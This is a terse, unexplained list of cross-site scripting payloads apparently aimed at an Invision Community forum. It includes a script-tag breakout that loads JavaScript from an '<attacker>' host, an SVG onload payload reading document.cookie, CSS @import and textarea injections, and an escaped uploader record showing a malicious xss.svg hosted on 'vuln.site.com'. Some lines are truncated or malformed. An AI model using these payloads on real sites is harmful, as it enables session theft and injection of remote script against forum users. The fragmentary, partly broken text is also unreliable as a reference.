CONCAT

'};</script><script src=//<attacker>/######.js></script>;{'

http://};</script><s....js></script>;{

<svg xmlns="http://www.w3.org/2000/svg onload="alert(document.cookie);"/>

<style type="text/css" media="all">

@import url([https://forum.euro-pvp.ru/]<style type="text/css" media="all"></style>)<style type="text/css" media="all"></style>;<style type="text/css" media="all"></style>

</style><style type="text/css" media="all"></style>

</textarea><script> your script </script>

data-ipsuploader-existingfiles="{&quot;102&quot;:{&quot;configuration&quot;:{&quot;dir&quot;:&quot;\/home\/services\/Services\/ipbcommunity\/uploads&quot;
,&quot;url&quot;:&quot;uploads&quot;}
,&quot;configurationId&quot;:1,&quot;storageExtension&quot;:&quot;core_Attachment&quot;
,&quot;originalFilename&quot;:&quot;xss.svg&quot;,&quot;filename&quot;
:&quot;xss.svg.d9b51a7a276cfbc0625876e30bce299a.svg&quot;
,&quot;container&quot;:&quot;monthly_2017_05&quot;,&quot;url&quot;
:{&quot;data&quot;:{&quot;scheme&quot;:&quot;https&quot;,&quot;host&quot;
:&quot;vuln.site.com&quot;,&quot;path&quot;:&quot;\/uploads\/monthly_2017_05\/xss.svg.d9b51a7a276cfbc0625876e30bce299a.svg&quot;
},&quot;queryString&quot;:[],&quot;isInternal&quot;:true,&quot;isFriendly&quot;:true},&quot;tempId&quot;:null,&quot;attachmentThumbnailUrl&quot;
:{&quot;data&quot;:{&quot;scheme&quot;:&quot;https&quot;,&quot;host&quot;:&quot;vuln.site.com&quot;,&quot;path&quot;:&quot;\/uploads\/monthly_2017_05\/xss.svg.d9b51a7a276cfbc0625876e30bce299a.svg&quot;}
,&quot;queryString&quot;:[],&quot;isInternal&quot;:true,&quot;isFriendly&quot;:true},&quot;thumbnailName&quot;:null,&quot;thumbnailContainer&quot;:null}}"